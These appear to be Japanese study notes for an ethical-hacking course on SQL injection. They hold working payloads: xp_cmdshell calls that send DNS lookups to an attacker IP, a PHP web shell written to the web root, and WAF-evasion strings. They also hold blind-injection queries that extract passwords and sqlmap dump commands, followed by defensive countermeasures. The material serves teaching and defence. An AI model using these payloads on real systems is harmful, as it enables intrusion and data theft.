14-1. SQLインジェクションの概要

  • 別名 SQLi
  • 悪意のあるSQLクエリをアプリケーションに注入すること。
  • 攻撃者は以下のことができます。
    • システムへの不正アクセス(例:認証情報なしでのログイン
    • データベースに保存されている情報の取得、変更、削除
    • 例)新規ユーザーの挿入、パスワードの更新
    • リモートでコードを実行する
  • ウェブアプリケーションの不適切な入力検証を利用する
  • コード・インジェクションという手法があります。
  • 💡 管理画面でのテストが可能
  • 例)google docs を使用して以下を検索するinurl:adminlogin.aspx
    inurl:admin/index.php
    inurl:adminlogin.aspx
  • SQLインジェクションの脆弱性をテストするには、シングルクォート(')を挿入するのがシンプルで簡単です。
    • 脆弱性が確認されれば、その後に他のSQLコードを追加することができます。

SQLインジェクションの手法

  1. 情報収集
    • 例:データベースの構造、名前、バージョン、タイプ...
    • 目的は、SQLインジェクションの脆弱性を特定することです。
    • アプリケーションのエントリーポイントは、クエリを注入するためにテストされ、例えば、無効な入力フィールド。
    • 💡 エラーメッセージを見ると、データベースの種類やバージョンに関する情報がわかります。
  2. SQLインジェクションについて
    • データベースから名前、カラム名、レコードなどの情報を抽出する攻撃。また、データベースに特定の情報を挿入・更新することも可能です。
    • 例:既存のユーザーのパスワードを変更したり、自分を新しいユーザーとして挿入してアクセス権を得る。
  3. 高度なSQLインジェクション
    • OSやネットワークを危険にさらすことが目的
    • 手法としては以下が一例になります。
      • ファイルシステムへのアクセス
        • 例:MySQLの場合
          読み込みにはLOAD_FILE()、書き込みにはOUTFILE()
      • ネットワーク情報の収集
        • 例:DNSの逆引き
          exec master...xp_cmdshell 'nslookup a.com MyIP'
        • 例:Pingの逆引き
          '; exec master..xp_cmdshell 'ping 10.0.0.75' --
      • 実行時にOSの関数を呼び出すコマンドの実行
        • 例:MySQLの場合
          CREATE FUNCTION sys_exec RETURNS int SONAME 'libudffmwgj.dll'.
      • リモートシェルを使用してコマンドを実行するためのバックドアの作成
        • 例:
          SELECT '<?php exec($_GET[''cmd']); ?>' FROM usertable INTO dumpfile '/var/www/html/shell.php'
      • データベースを攻撃者のマシンに転送する

SQL evasion(回避)

  • シグネチャベースの検出システムを回避するための入力文字列の難読化
  • IP フラグメンテーション を使用し、オプションで異なる順序を試す。

シグネチャ検出に対する難読化

技法 平文 難読化されたテキスト
インラインコメント select * from users s/**/ele/**/ct/**/*/**/from/**/users
文字列のエンコーディング e char(101)
文字列の連結 Hello 'Hel'+'lo'
難読化されたコード /?id==1+union+(select+1,2+from+test.users) /?id=(1)union(((((((select(1),hex(hash)from(test.users))))))))
空白の操作 OR 1 = 1 'OR'1'='1'
16進数表記
(Hex encording)
SELECT @@version = 31 SELECT @@version = 0x1F
洗練されたマッチ OR 1 = 1 OR 'hi' = 'hi'
URLエンコーディング select * from users select%20%2A%20from%20users
Case Variation select * from users SeLeCt * FrOM UsErs
Null バイト UNION SELECT.. %00' UNION SELECT..
変数宣言 UNION Select Password ; declare @sqlvar nvarchar(70);
set @myVAR = N'UNI' + N'ON' + N'SELECT' + N'Password');
EXEC(@sqlvar)

OWASP カテゴリ

  • SQL injection bypassing WAF | OWASP
  • 正規化
    • コメントなどによる難読化
    • 例:WAFは/?id=1+union+select+1,2,3/*をブロックします。
    • 攻撃者が注入
      /?id=1+un/**/ion+sel/**/ect+1,2,3--
    • リクエストはWAFを通過し、SQLは以下
      SELECT * from table where id =1 union select 1,2,3--
  • HTTP Parameter Pollution (HPP) (HTTPパラメータ汚染)
    • クエリ文字列に区切り文字を挿入する。
    • 例:WAFは、/?id=1+union+select+1,2,3/*をブロックします。
    • 攻撃者が注入

      /?id=1&id=+&id=union=&id=+select+&1,2,3
    • テスト例: google.com/search?q=hello&q=world
  • HTTP Parameter Fragmentation (HPF)
    • バックエンドで複数のパラメータを使用して構築されたSQLを利用します。
    • Query("select * from table where a=".$_GET['a']." and b=".$_GET['b']);
    • 例:WAFは、/?a=1+union+select+1,2/*をブロックします。
    • 攻撃者が注入
      /?a=1+union/*&b=*/select+1,2
  • ブラインドSQLインジェクション
    • WAFシグネチャを同義語に置き換える
    • 例)WAFがブロックするのは /?id=1+OR+0x50=0x50 です。
    • 攻撃者は以下を注入します。

      /?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1) ))=74
  • シグネチャーバイパス
    • 例)WAFのブロックが/?id=1+OR+1=1の場合
    • 攻撃者は以下を注入します。
      /?id=1+OR+0x50=0x50

SQLインジェクションツール

  1. sqlmap
    • 自動SQLインジェクションとデータベース乗っ取りツール
    • プロキシとしてBurp Suiteを実行するなどして取得可能なセッションが必要です。
    • 例えば、以下を実行します。
      sqlmap -u https://cloudarchitecture.io/?id=3&Submit=Submit --cookie 'PHPSESSID=63j6; security:low'
    • 次のような出力が得られます。
      GET parameter id appears to be MySQL >= 5.0.12 AND time-based blind injectable
      GET parameter id is 'Generic UNION query (NULL) - 1 to 20 columns' injectable

      • --dbs パラメータはデータベース名を取得します。
        例: mysql, phpmyadmin...
      • -D <データベース名> --tables パラメータは指定されたデータベース名からテーブルをリストアップします。
      • -T <テーブル名> --columns はカラム名を指定します。
      • -C <コンマで区切られたカラム名> --dump でカラムを取得します。
      • ハッシュをクラックすることもできます(hashcatほど速くはありません)。
  2. jSQL インジェクション

  3. 古いツールとして以下があります。
  4. モバイルツール
  5. SQLインジェクション検出ツールもご参照ください。

SQLインジェクション対策

攻撃手法の弱点 #1:データベースサーバーはOSのコマンドを実行することを利用

  • 最小限の権限でデータベースを動かす
  • xp_cmdshellのようなOSのコマンドを無効にする(シェルにアクセスするため)
    • xp_cmdshellを起動すると、Windowsのコマンドシェルが起動し、入力文字列が渡されて実行される。
    • サーバーへのローカルシステムレベルのアクセスを提供します。

攻撃手法の弱点 #2:特権アカウントを使用したデータベースへの接続

  • IDSによるDBトラフィックの監視
  • データベースにアクセスするアカウント/アプリケーションに最小特権ルールを適用する

攻撃手法の弱点 #3:重要な情報を示すエラーメッセージ

  • すべてのエラーメッセージを抑制する
  • カスタムエラーメッセージの使用

攻撃手法の弱点 #4:サーバーでのデータ検証を行わない

  • すべてのクライアントデータのフィルタリングとサニタイズ
  • サイズとデータタイプのチェックにより、バッファオーバーランを防止
  • 例として

    c#
    // 脆弱なコード。
    var command = new SqlCommand("SELECT * FROM table WHERE name = " + login.Name, connection);
    // 安全なコード
    var command = new SqlCommand("SELECT * FROM table WHERE name = @name ", connection);
    command.Parameters.Add("@name", SqlDbType.NVarChar, 20).Value = login.Name;

攻撃手法の弱点 #5: 一貫したコーディングスタンダードの実装

  • サーバーサイド入力検証、データアクセス抽象化レイヤー、カスタムエラーメッセージ。

攻撃手法の弱点 #6: SQLサーバーのファイアウォール化

  • Webサーバと管理者からのアクセスのみ許可

SQL インジェクション検出ツール

市販のスキャナーを使用する場合

オープンソースのスキャナ

Snort - オープンな侵入防止システム(IPS)

最新情報をチェックしよう!